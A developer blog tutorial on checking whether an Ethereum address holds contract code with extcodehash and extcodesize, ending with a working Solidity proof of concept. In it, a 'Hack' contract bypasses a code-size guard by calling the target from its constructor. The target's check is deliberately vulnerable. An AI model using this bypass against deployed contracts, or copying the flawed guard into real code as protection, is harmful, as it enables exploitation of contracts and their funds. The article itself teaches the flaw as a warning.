Ethereum Account Code Check Using Extcodehash,  Extcodesize and its Vulnerability

Ethereum Account Code Check Using Extcodehash, Extcodesize and its Vulnerability

In this article we would be looking at how to get the code of an ethereum account using the inline assembly function in Solidity and its vulnerability

·

6 min read

Introduction

In the Ethereum protocol, an account is an entity with ether (ETH) balance that can send transactions. And usually it can be user-controlled or deployed as smart contracts.

Majorly, there are two Ethereum account types viz:

Externally-owned – controlled by anyone with the private keys

Contract – a smart contract deployed to the network, controlled by code.

Having said that, ethereum accounts have four fields one of which is its codehash. This hash refers to the code of an account in the EVM. Literally, contract accounts have code in them that can perform different operation while an EOA does not thereby making its codehash field the hash of an empty string.

Why check an account code or account code size?

For some additional security check in smart contracts, owners do not want other contracts to interact with their contract. To prevent this interaction, an account code size check is added to prevent functions from being run. This code size check determines if the address interacting with the contract contain code and if it does the function is not executed.

How do we check an account code ?

We can interact directly with the EVM using the opcodes available in a low-level language called assembly. For this purpose, we will make use of inline-assembly in solidity. To get the account code size, we can make use of two inline assembly function: extcodehash and extcodesize. We would be looking at how to do that using this two methods

Method 1: EXTCODEHASH

   assembly {
        codehash := extcodehash(addr)
    }

The line of code above is important for checking if an account is an EOA or Contract Account using inline assembly extcodehash. The full code to be shown below returns true if the address is a contract account and false if it's an EOA.

function CheckIfContractUsingCodeHash(address addr) public view returns (bool) {
    // codehash of an externally owned account 
    // this is the hash of an empty string
    bytes32 eoaAccountHash=  0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;                                                                                             
    bytes32 codehash;
    assembly {
        codehash := extcodehash(addr)
    }

    return (codehash != 0x0 && codehash != eoaAccountHash);

    }

bytes32 eoaAccountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470

Having previously said that an EOA codehash field is the hash of an empty string, we can use this to check if an account has code in it. The eoaAccountHash is the keccak-256 of empty string and this hash can be compared to the codehash to be returned for the address passed in.

return (codehash != 0x0 && codehash != eoaAccountHash);

The return statement returns true if :

  • the account exists (i.e. codehash != 0x0) where codehash “0x0” represents a non-existent account

  • there is an executable code written inside the contract (i.e. codehash != eoaAccountHash).

Let take a practical look at this function on Remix IDE

codeHash.png

The function CheckIfContractUsingCodeHash returned true when the deployed contract address was passed in. This result shows that it is a contract account indeed and code resides in it.

Now let’s try with an EOA

codehashFalse.png

The function CheckIfContractUsingCodeHash returned false when the first EOA address provided by Remix was passed in. This result shows that it is an EOA indeed and code doesn't reside in it.

Method 2: EXTCODESIZE

       assembly { codeSize := extcodesize(addr) }

Extcodesize is another opcode available which represents the size of the code available inside the EVM. We can use this also to get if the account is a contract account. The full code to be shown below returns true if the address is a contract account and false if it's an EOA.

function checkIfContractUsingCodeSize(address addr) public view returns (bool) {
    uint codeSize;
    assembly { codeSize := extcodesize(addr) }
    return codeSize > 0;
    }

The extcodesize code checks the code size of the address. If it is zero, then the address is a regular one. If it finds the code size greater than zero, it is a smart contract.

Let take a practical look at this function on Remix IDE

codeSize.png

The function checkIfContractUsingCodeSize returned true when the deployed contract address was passed in. This result shows that it is contract account indeed and code resides in it.

Now let’s try with an EOA

codeSize2.png

The function checkIfContractUsingCodeSize returned false when the first EOA address provided by Remix was passed in. This result shows that it is an EOA indeed and code doesn't reside in it.

Extcodesize Vulnerability

Now that we know how to check the size of code stored at an address using the assembly extcodesize and extcodehash. It is important to say that this approached is vulnerable and can be pwned by a developer.

To do this, simply put a function in the attacking contract’s constructor. During contract creation when the constructor is executed there is no code yet so the code size will be 0. The constructor will run the function and bypass the target contract’s extcodesize check.

The example below is an example of how its vulnerability can be exploited

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.0;
 // deploy all three contracts below 
// 1 target contract 
// 2 failed attack contract 
// 3 attacking contract  
// the  checkIsContractUsingCodeSize modifier uses extcodesize which checks code size  
// if the code size is equals to 0 then it is assumed an EOA else a contract  
// this check can be bypassed because when a contract is created the code size is 0   
// to bypass this check simply add a function to the attacking contracts constructor
 contract Target {

      bool public pwned;

      modifier checkIsContractUsingCodeSize(address _account) {
          uint codeSize;
         assembly {
              codeSize := extcodesize(_account)
          }

          require(codeSize == 0, "A contract is not allowed");
          _;
      }

      function isContract(address _account) checkIsContractUsingCodeSize(_account) public view returns (bool) {
          return true;
      }


     function cannotBeCalledByContract() checkIsContractUsingCodeSize(msg.sender) external {     
         pwned = true; 
      }


 }


// attempting to call Target.cannotBeCalledByContract will fail, 
// target block calls from contract
 contract FailedAttack {
     function attack(address _target) external {
         // this will fail
         Target(_target).cannotBeCalledByContract();
     }
 }


// when contract is being created, code size (extcodesize) is 0. 
// this will bypass the isContract() check 
// call Target.cannotBeCalledByContract will work
 contract Hack {
    bool public isContract;
    bool public attacked;
    constructor(address _target) {  
        isContract = Target(_target).isContract(address(this)); 
        Target(_target).cannotBeCalledByContract();   
        attacked = true;
    }

}

Interpretation of the code above

To get a full grasp of this vulnerability, the above contracts needs to deployed after another

  • First deploy the Target and FailedAttack Contract Respectively

  • Then deploy the Attack Contract

  1. Target Contract: This contract contains a modifier checkIsContractUsingCodeSize which does not allow contracts to interact with it because it calls a function that contains extcodesize to check if the address is an EOA then reverts if it is a contract. Also contains cannotBeCalledByContract function that make use of the already declared modifier. Have in mind that this can be bypassed as we would see in the Attack Contract

  2. FailedAttack Contract: This contract contains a function called cannotBeCalledByContract. When you execute the function with the target address you will see that it fails in the transaction log. The target address will detect that this contact contains code which caused the call to fail.

failedAttack.png

  1. Attack: This contract calls the target contract in the constructor. When the contract is created target address will detect 0 code and the transaction will be successful. When attacked is called it returns true.

I will leave you to experiment with the code and share your result in the comment section!

Conclusion

Checking an ethereum account code is possible using the inline assembly code that we have used so far. It is also important to put into consideration it vulnerability while using it as a check for contract interaction.

If you have any questions, suggestions or comments, drop them below, or reach out to me on Twitter!

Stay Jiggy!!!